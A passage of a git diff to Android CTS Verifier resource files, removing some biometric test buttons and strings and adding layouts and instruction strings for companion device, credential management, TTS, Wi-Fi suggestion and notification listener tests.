-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_strong_authenticate_ui_button"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_negative_button_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_negative_button_button"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_cancellation_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_cancellation_button"
-                android:enabled="false"/>
-
-            <Button
-                android:id="@+id/authenticate_credential_setDeviceCredentialAllowed_biometric_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_authenticate_with_credential1_button"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_credential_setDeviceCredentialAllowed_credential_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_authenticate_with_credential2_button"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_credential_setAllowedAuthenticators_credential_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_authenticate_with_credential3_button"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_invalid_inputs"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_invalid_inputs"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_reject_first"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_reject_first"
-                android:enabled="false"/>
-            <Button
                 android:id="@+id/authenticate_key_invalidated_button"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/biometric_test_weak_tests.xml b/apps/CtsVerifier/res/layout/biometric_test_weak_tests.xml
index c9ab4b5..e1266c7 100644
--- a/apps/CtsVerifier/res/layout/biometric_test_weak_tests.xml
+++ b/apps/CtsVerifier/res/layout/biometric_test_weak_tests.xml
@@ -34,80 +34,12 @@
                 android:layout_alignParentTop="true"
                 android:gravity="center"
                 android:text="@string/biometric_test_weak_instructions" />
-
             <Button
                 android:id="@+id/biometric_test_weak_enroll_button"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
                 android:layout_centerInParent="true"
                 android:text="@string/biometric_test_weak_enroll"/>
-
-            <Button
-                android:id="@+id/biometric_test_weak_authenticate_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_weak_authenticate"
-                android:enabled="false"/>
-
-            <Button
-                android:id="@+id/biometric_test_weak_authenticate_time_based_keys_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_weak_authenticate_time_based_keys"
-                android:enabled="false"/>
-
-            <Button
-                android:id="@+id/authenticate_credential_setDeviceCredentialAllowed_biometric_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_authenticate_with_credential1_button"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_credential_setDeviceCredentialAllowed_credential_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_authenticate_with_credential2_button"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_credential_setAllowedAuthenticators_credential_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_authenticate_with_credential3_button"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_invalid_inputs"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_invalid_inputs"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_reject_first"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_reject_first"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_negative_button_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_negative_button_button"
-                android:enabled="false"/>
-            <Button
-                android:id="@+id/authenticate_cancellation_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true"
-                android:text="@string/biometric_test_cancellation_button"
-                android:enabled="false"/>
-
             <Space
                 android:layout_width="match_parent"
                 android:layout_height="0dp"
diff --git a/apps/CtsVerifier/res/layout/companion_service_test_main.xml b/apps/CtsVerifier/res/layout/companion_service_test_main.xml
new file mode 100644
index 0000000..ff203c8
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/companion_service_test_main.xml
@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+
+            <TextView
+                android:id="@+id/instructions"
+                style="@style/InstructionsSmallFont"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_alignParentTop="true"
+                android:layout_toRightOf="@id/status"
+                android:text="@string/companion_service_test_info" />
+
+            <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="horizontal"
+                android:layout_marginLeft="10dp">
+                <Button
+                    android:id="@+id/go_button"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:layout_alignParentRight="true"
+                    android:layout_marginLeft="20dip"
+                    android:layout_marginRight="20dip"
+                    android:layout_toRightOf="@id/status"
+                    android:text="@string/go_button_text" />
+            </LinearLayout>
+        </LinearLayout>
+
+        <TextView
+            android:id="@+id/gone_info"
+            style="@style/InstructionsSmallFont"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/status"
+            android:layout_below="@id/go_button"
+            android:text="@string/companion_service_test_gone_text" />
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal"
+            android:layout_marginLeft="10dp">
+            <Button
+                android:id="@+id/gone_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_marginLeft="20dip"
+                android:layout_marginRight="20dip"
+                android:layout_toRightOf="@id/status"
+                android:text="@string/gone_button_text" />
+        </LinearLayout>
+
+        <TextView
+            android:id="@+id/present_info"
+            style="@style/InstructionsSmallFont"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/status"
+            android:layout_below="@id/gone_button"
+            android:text="@string/companion_service_test_present_text" />
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal"
+            android:layout_marginLeft="10dp">
+            <Button
+                android:id="@+id/present_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_marginLeft="20dip"
+                android:layout_marginRight="20dip"
+                android:layout_toRightOf="@id/status"
+                android:text="@string/present_button_text" />
+        </LinearLayout>
+
+    </LinearLayout>
+    <include layout="@layout/pass_fail_buttons" />
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/credential_management_app_test.xml b/apps/CtsVerifier/res/layout/credential_management_app_test.xml
new file mode 100644
index 0000000..ba0ea8b
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/credential_management_app_test.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:layout_weight="2">
+        <TextView
+            android:id="@+id/test_instructions"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:padding="10dip"
+            android:textSize="18dip"/>
+    </ScrollView>
+    <ListView
+        android:id="@+id/android:list"
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:layout_weight="3"/>
+    <include layout="@layout/pass_fail_buttons"/>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index e61ba01..090b080 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -137,6 +137,16 @@
 
     <include layout="@layout/audio_loopback_footer_layout"/>
 
+    <LinearLayout android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+        <TextView
+            android:id="@+id/proAudioTestStatusLbl"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:textSize="18sp"/>
+    </LinearLayout>
+
     <include layout="@layout/pass_fail_buttons"/>
 </LinearLayout>
 </ScrollView>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/security_mode_feature_verifier.xml b/apps/CtsVerifier/res/layout/security_mode_feature_verifier.xml
new file mode 100644
index 0000000..4deb161
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/security_mode_feature_verifier.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    style="@style/RootLayoutPadding">
+  <LinearLayout
+      android:layout_width="match_parent"
+      android:layout_height="match_parent"
+      android:orientation="vertical">
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/security_mode_feature_verifier_instructions"/>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <ImageView
+            android:id="@+id/handheld_or_tablet_image"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"/>
+        <TextView
+            android:id="@+id/handheld_or_tablet_text"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/handheld_or_tablet_text_before_test"
+            android:textSize="16dp"/>
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <Button
+            android:id="@+id/handheld_or_tablet_yes"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/handheld_or_tablet_yes"/>
+        <Button
+            android:id="@+id/handheld_or_tablet_not_applicable"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/handheld_or_tablet_not_applicable"
+            />
+    </LinearLayout>
+
+
+    <include layout="@layout/pass_fail_buttons" />
+  </LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/tts_main.xml b/apps/CtsVerifier/res/layout/tts_main.xml
new file mode 100644
index 0000000..f4f1cab
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/tts_main.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+  
+          http://www.apache.org/licenses/LICENSE-2.0
+  
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="1"
+        android:orientation="vertical"
+        android:padding="16dp">
+
+        <ScrollView android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1">
+
+            <TextView android:id="@+id/status"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/tts_test_steps" />
+
+        </ScrollView>
+
+        <Button android:id="@+id/accessibility_settings_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/tts_accessibility_settings_button" />
+
+    </LinearLayout>
+
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index bbc3ae3..51a1287 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -23,6 +23,8 @@
     <string name="fail_button_text">Fail</string>
     <string name="next_button_text">Next</string>
     <string name="go_button_text">Go</string>
+    <string name="present_button_text">Device Present</string>
+    <string name="gone_button_text">Device Gone</string>
     <string name="tests_completed_successfully">All tests completed successfully.</string>
 
     <string name="retry_button_text">Retry</string>
@@ -45,6 +47,7 @@
     <string name="test_category_jobscheduler">Job Scheduler</string>
     <string name="test_category_telecom">Telecom</string>
     <string name="test_category_telephony">Telephony</string>
+    <string name="test_category_tunnel">Tunnel Mode</string>
     <string name="test_category_tv">TV</string>
     <string name="test_category_instant_apps">Instant Apps</string>
     <string name="test_category_display_cutout">DisplayCutout</string>
@@ -246,33 +249,12 @@
     <!-- Strings for BiometricTest -->
     <string name="biometric_test">Biometric Tests</string>
 
-    <string name="biometric_test_category_generic">0) Generic Tests</string>
     <string name="biometric_test_category_credential">1) Credential Tests</string>
     <string name="biometric_test_category_strong">2) Strong Biometric Tests</string>
     <string name="biometric_test_category_weak">3) Weak Biometric Tests</string>
     <string name="biometric_test_category_combination">4) setUserAuthParams Tests</string>
 
-    <string name="biometric_test_sensor_configuration_label">0a: Sensor Configuration Test</string>
-    <string name="biometric_test_sensor_configuration_instructions">This test checks that the device configuration is valid</string>
-    <string name="biometric_test_sensor_configuration_button">Start test</string>
-
-    <string name="biometric_test_credential_not_enrolled_label">1a: Credential Not Enrolled Tests</string>
-    <string name="biometric_test_credential_not_enrolled_instructions">This test checks that the BiometricManager/BiometricPrompt
-        APIs return results consistent with credential (PIN/Pattern/Password) state. Before starting this test, please ensure that you do
-        NOT have a credential set up.</string>
-    <string name="biometric_test_credential_not_enrolled_bm_button">Check BiometricManager</string>
-    <string name="biometric_test_credential_not_enrolled_bp_setAllowedAuthenticators_button">Check BiometricPrompt setAllowedAuthenticators(DEVICE_CREDENTIAL)</string>
-    <string name="biometric_test_credential_not_enrolled_bp_setDeviceCredentialAllowed_button">Check BiometricPrompt setDeviceCredentialAllowed(true)</string>
-
-    <string name="biometric_test_credential_enrolled_label">1b: Credential Enrolled Tests</string>
-    <string name="biometric_test_credential_enrolled_instructions">This test checks that apps are able to request credential enrollment, and that the BiometricManager/BiometricPrompt
-        APIs return results consistent with credential (PIN/Pattern/Password) state.</string>
-    <string name="biometric_test_credential_enroll_button">Enroll credential</string>
-    <string name="biometric_test_credential_enrolled_bm_button">Check BiometricManager</string>
-    <string name="biometric_test_credential_enrolled_bp_setAllowedAuthenticators_button">Check BiometricPrompt setAllowedAuthenticators(DEVICE_CREDENTIAL)</string>
-    <string name="biometric_test_credential_enrolled_bp_setDeviceCredentialAllowed_button">Check BiometricPrompt setDeviceCredentialAllowed(true)</string>
-
-    <string name="biometric_test_credential_crypto_label">1c: Credential Crypto</string>
+    <string name="biometric_test_credential_crypto_label">1a: Credential Crypto</string>
     <string name="biometric_test_credential_crypto_instructions">This test checks that PIN/Pattern/Password successfully unlocks the relevant KeyStore operations. Please
         ensure that you have a PIN/Pattern/Password set up.</string>
     <string name="biometric_test_credential_crypto_timed_key_strongbox">Create and unlock timed key (StrongBox)</string>
@@ -284,21 +266,6 @@
     <string name="biometric_test_ui_verification_dialog_title">Please enter your recorded contents</string>
     <string name="biometric_test_ui_verification_dialog_check">Check</string>
 
-    <!-- setDeviceCredentialAllowed(true), biometric authentication -->
-    <string name="biometric_test_authenticate_with_credential1_button">Authenticate with biometric (not PIN/Pattern/Pass)</string>
-    <!-- setDeviceCredentialAllowed(true), credential authentication -->
-    <string name="biometric_test_authenticate_with_credential2_button">Authenticate with PIN/Pattern/Pass (skip biometric)</string>
-    <!-- setAllowedAuthenticators(CREDENTIAL|BIOMETRIC), credential authentication -->
-    <string name="biometric_test_authenticate_with_credential3_button">Authenticate with PIN/Pattern/Pass (skip biometric again)</string>
-    <!-- Invoking the public API with non-public constants -->
-    <string name="biometric_test_invalid_inputs">Test invalid inputs</string>
-    <!-- Rejecting does not end the authentication lifecycle -->
-    <string name="biometric_test_reject_first">Reject, then authenticate</string>
-    <!-- Negative button callback is received -->
-    <string name="biometric_test_negative_button_button">Test Negative Button</string>
-    <!-- ERROR_CANCELED is received -->
-    <string name="biometric_test_cancellation_button">Test CancellationSignal</string>
-
     <string name="biometric_test_reject_continues_instruction_title">Instructions</string>
     <string name="biometric_test_reject_continues_instruction_contents">Please authenticate with a non-enrolled biometric before authenticating with the actual enrolled biometric.</string>
     <string name="biometric_test_reject_continues_instruction_continue">Continue</string>
@@ -311,7 +278,6 @@
     <string name="biometric_test_strong_check_and_enroll_button">Start enrollment</string>
     <string name="biometric_test_strong_authenticate_no_strongbox_button">Authenticate Crypto (without StrongBox)</string>
     <string name="biometric_test_strong_authenticate_strongbox_button">Authenticate Crypto (with StrongBox)</string>
-    <string name="biometric_test_strong_authenticate_ui_button">Authenticate Crypto UI</string>
     <string name="biometric_test_strong_authenticate_invalidated_button">Authenticate Key Invalidated</string>
     <string name="biometric_test_strong_authenticate_invalidated_instruction_title">Instructions</string>
     <string name="biometric_test_strong_authenticate_invalidated_instruction_contents">Before starting the next test, please add another enrollment to your strong biometric sensor. If only one enrollment is supported, please remove the current enrollment, then enroll.</string>
@@ -323,8 +289,6 @@
         does NOT have ANY biometrics enrolled before starting this test. After passing the first part of the test, it will check various use cases
         when authentication is invoked.</string>
     <string name="biometric_test_weak_enroll">Start enrollment</string>
-    <string name="biometric_test_weak_authenticate">Authenticate</string>
-    <string name="biometric_test_weak_authenticate_time_based_keys">Authenticate attempt time-based keys</string>
 
     <string name="biometric_test_set_user_authentication_credential_cipher_label">4a: Cipher, Credential</string>
     <string name="biometric_test_set_user_authentication_biometric_cipher_label">4b: Cipher, Biometric</string>
@@ -814,6 +778,31 @@
         Once you press the button, wait for a dialog to pop up and select your device from the list.
     </string>
 
+    <string name="companion_service_test">Companion Device Service Test</string>
+    <string name="companion_service_test_info">
+        This test checks that APIs to notify the companion app of its associated device going in and
+        out of Bluetooth range are working correctly.
+        Before proceeding, make sure you have a Bluetooth LE device nearby and
+        discoverable. Also, make sure that bluetooth is turned on the device.
+        First, you press the go button, wait for a dialog to pop up and select your device from the
+        list. Second, make sure your bluetooth device is unreachable(you can power off/reboot your
+        Bluetooth device or put it into a Faraday bag) and press the Device Gone button.
+        Lastly, make your bluetooth device reachable by waiting for the device to power on or
+        removing it from the Faraday bag and press the Device Present button.
+    </string>
+
+    <string name="companion_service_test_gone_text">
+        Now, please make your Bluetooth device unreachable.
+        Put your bluetooth device into a RF Bag or power off/reboot your device,
+        then press the Device Gone button.
+    </string>
+
+    <string name="companion_service_test_present_text">
+        Now, please make your Bluetooth device reachable.
+        Remove your Bluetooth device from a RF Bag or power on your device,
+        then press the Device Present button.
+    </string>
+
     <!-- Strings for FeatureSummaryActivity -->
     <string name="feature_summary">Hardware/Software Feature Summary</string>
     <string name="feature_summary_info">This is a test for...</string>
@@ -1727,6 +1716,9 @@
     <string name="sv_failed_title">Test Failed</string>
     <string name="sv_failed_message">Unable to play stream.  See log for details.</string>
 
+    <!-- Strings for MediaCodecFlushActivity -->
+    <string name="media_codec_flush">Video codec flushing in Tunnel Mode</string>
+
     <!-- Strings for the Camera Bokeh mode test activity -->
     <string name="camera_bokeh_test">Camera Bokeh</string>
     <string name="camera_bokeh_test_info">
@@ -1780,8 +1772,8 @@
     <string name="wifi_status_suggestion_get_failure">Failed to get suggestions.</string>
     <string name="wifi_status_suggestion_remove">Removing suggestions from the device.</string>
     <string name="wifi_status_suggestion_remove_failure">Failed to remove suggestions.</string>
-    <string name="wifi_status_suggestion_wait_for_connect">Waiting for network connection. Please click \"Allow\" in the dialog that pops up for approving the app.</string>
-    <string name="wifi_status_suggestion_ensure_no_connect">Ensuring no network connection. Please click \"Allow\" in the dialog that pops up for approving the app.</string>
+    <string name="wifi_status_suggestion_wait_for_connect">Waiting for network connection.</string>
+    <string name="wifi_status_suggestion_ensure_no_connect">Ensuring no network connection.</string>
     <string name="wifi_status_suggestion_connect">Connected to the network.</string>
     <string name="wifi_status_suggestion_not_connected">Did not connect to the network.</string>
     <string name="wifi_status_suggestion_wait_for_post_connect_bcast">Waiting for post connection broadcast.</string>
@@ -1797,6 +1789,10 @@
     <string name="wifi_status_suggestion_capabilities_not_changed">Network capabilities did not change.</string>
     <string name="wifi_status_suggestion_not_disconnected">Did not disconnect from the network.</string>
     <string name="wifi_status_suggestion_disconnected">Disconnected from the network.</string>
+    <string name="wifi_status_suggestion_add_user_approval_status_listener_failure">Failed to add user approval status listener</string>
+    <string name="wifi_status_suggestion_wait_for_user_approval">Waiting for user approval. Please click \"Allow\" in the dialog that pops up for approving the app</string>
+    <string name="wifi_status_suggestion_user_approval_status_failure">Failed to receive user approval status change</string>
+    <string name="wifi_status_suggestion_user_approve_failure">Failed to get user approval</string>
 
     <string name="wifi_status_test_success">Test completed successfully!</string>
     <string name="wifi_status_test_failed">Test failed!</string>
@@ -2008,6 +2004,12 @@
     <string name="aware_dp_ib_open_solicited">Data Path: Open: Solicited/Active</string>
     <string name="aware_dp_ib_passphrase_solicited">Data Path: Passphrase: Solicited/Active</string>
     <string name="aware_dp_ib_pmk_solicited">Data Path: PMK: Solicited/Active</string>
+    <string name="aware_dp_ib_open_unsolicited_accept_any">Data Path: Open: Unsolicited/Passive: accept any peer</string>
+    <string name="aware_dp_ib_passphrase_unsolicited_accept_any">Data Path: Passphrase: Unsolicited/Passive: accept any peer</string>
+    <string name="aware_dp_ib_pmk_unsolicited_accept_any">Data Path: PMK: Unsolicited/Passive: accept any peer</string>
+    <string name="aware_dp_ib_open_solicited_accept_any">Data Path: Open: Solicited/Active: accept any peer</string>
+    <string name="aware_dp_ib_passphrase_solicited_accept_any">Data Path: Passphrase: Solicited/Active: accept any peer</string>
+    <string name="aware_dp_ib_pmk_solicited_accept_any">Data Path: PMK: Solicited/Active: accept any peer</string>
     <string name="aware_discovery_ranging">Discovery with Ranging</string>
     <string name="aware_publish">Publish</string>
     <string name="aware_subscribe">Subscribe</string>
@@ -2212,6 +2214,17 @@
     <string name="nls_anr">This test checks that notifications are not sent with content that is
         too long. If this test causes the test app to ANR, the test has failed.
     </string>
+    <string name="action_not_sent">SecureActionOnLockScreenTest</string>
+    <string name="action_received">Action Sent - SecureActionOnLockScreenTest</string>
+    <string name="action_test_title">Action</string>
+    <string name="nls_visibility">Please change the lock screen setting to hide sensitive content
+        on the lockscreen</string>
+    <string name="add_screen_lock">Add a secure screen lock of any type</string>
+    <string name="remove_screen_lock">Remove the added screen lock</string>
+    <string name="secure_action_lockscreen">Lock the screen and find the SecureActionOnLockScreenTest
+        notification. Tap on its action. Verify that the keyguard displays on tap, and that the
+        notification text does not update until the passcode is entered. Ensure that the notification
+        text does update once the device is unlocked.</string>
     <string name="msg_extras_preserved">Check that Message extras Bundle was preserved.</string>
     <string name="conversation_section_ordering">If this device supports conversation notifications,
         and groups them into a separate section from alerting and silent non-conversation
@@ -2285,6 +2298,10 @@
     <string name="nls_snooze_one_time">Check that service can snooze a notification for a given time.</string>
     <string name="nls_get_snoozed">Check that service can retrieve snoozed notifications.</string>
     <string name="nls_unsnooze_one">Check that service can unsnooze a notification.</string>
+    <string name="nls_change_type_filter">Click this button to launch the settings page for this app\'s notification listener in settings. Note what types were checked and which were disabled before you make any changes. View the list of apps and note any that are not allowed. Change the filter types to allow everything except ongoing and silent notifications, and then return to this screen</string>
+    <string name="nls_original_filter_verification">Were only alerting and silent notifications allowed? Was the Settings app not allowed? Was the ongoing option disabled? Are all only conversations and alerting notification types allowed now?</string>
+    <string name="nls_filter_test">Checking that an alerting notification is received and a silent one is not</string>
+    <string name="nls_reset_type_filter">Go to settings and allow all notification types, and then return here.</string>
     <string name="nas_note_missed_enqueued">Check that notification was not enqueued.</string>
     <string name="cp_test">Condition Provider test</string>
     <string name="cp_service_name">Condition Provider for CTS Verifier</string>
@@ -2361,6 +2378,19 @@
     <string name="cacert_install_via_intent_title">This test attempts to install a CA certificate via an intent.</string>
     <string name="cacert_install_via_intent_info">Attempt installing a CA certificate via an intent, which should not be possible. Tapping Go should show a dialog telling the user that CA certificates can put their privacy at risk and must be installed via Settings. If a any other dialog comes up, the test failed.</string>
 
+    <!-- Strings for credential management test -->
+    <string name="credential_management_app_test">Credential Management App Test</string>
+    <string name="credential_management_app_info">This test requests to manage the user\'s KeyChain credentials and become the credential management app.</string>
+    <string name="request_manage_credentials">Request to manage credentials</string>
+    <string name="is_credential_management_app">Check is credential management app</string>
+    <string name="credential_management_app_policy">Check correct authentication policy is set</string>
+    <string name="generate_key_pair">Generate key pair</string>
+    <string name="create_and_install_certificate">Create and install certificate</string>
+    <string name="request_certificate_authentication">Request certificate for authentication</string>
+    <string name="sign_data_with_key">Sign data with the private key</string>
+    <string name="verify_signature">Verify signature with the public key</string>
+    <string name="remove_credential_management_app">Remove credential management app</string>
+
     <!-- Strings for Widget -->
     <string name="widget_framework_test">Widget Framework Test</string>
     <string name="widget_framework_test_info">This test checks some basic features of the widget
@@ -2446,6 +2476,7 @@
     <string name="provisioning_byod_capture_image_support">Camera support cross profile image capture</string>
     <string name="provisioning_byod_capture_image_support_info">
         This test verifies that images can be captured from the managed profile using the primary profile camera.\n
+        If prompted, accept the camera permission after pressing go.\n
         1. Capture a picture using the camera.\n
         2. Verify that the captured picture is shown.\n
         3. Click on the close button.
@@ -2453,6 +2484,7 @@
     <string name="provisioning_byod_capture_video_support_with_extra_output">Camera support cross profile video capture (with extra output path)</string>
     <string name="provisioning_byod_capture_video_support_info">
         This test verifies that videos can be captured from the managed profile using the primary profile camera.\n
+        If prompted, accept the camera permission after pressing go.\n
         1. Capture a video using the camera.\n
         2. Click on the play button.\n
         3. Verify that the captured video is played.\n
@@ -2820,12 +2852,6 @@
 
     <string name="provisioning_tests_byod">BYOD Provisioning tests</string>
 
-    <string name="provisioning_tests_byod_custom_color"> Custom provisioning color </string>
-    <string name="provisioning_tests_byod_custom_color_info">
-        Please press the Go button to start the provisioning.
-        Check that the top status bar is colorized in green.
-        Then hit back and stop the provisioning.
-    </string>
     <string name="provisioning_tests_byod_custom_image"> Custom provisioning image </string>
     <string name="provisioning_tests_byod_custom_image_info">
         1. Please press the Go button to start the provisioning.\n
@@ -3227,8 +3253,10 @@
     <string name="provisioning_byod_no_gps_location_feature">No GPS feature present. Skip test.</string>
     <string name="provisioning_byod_location_mode_enable">Enable location</string>
     <string name="provisioning_byod_location_mode_enable_toast_location_change">Location changed</string>
+    <string name="provisioning_byod_location_mode_enable_missing_permission">Permission missing</string>
     <string name="provisioning_byod_location_mode_enable_instruction">
         This test verifies that the location updates can be enabled for the managed profile apps.\n
+        If prompted, accept the location permission after pressing go.\n
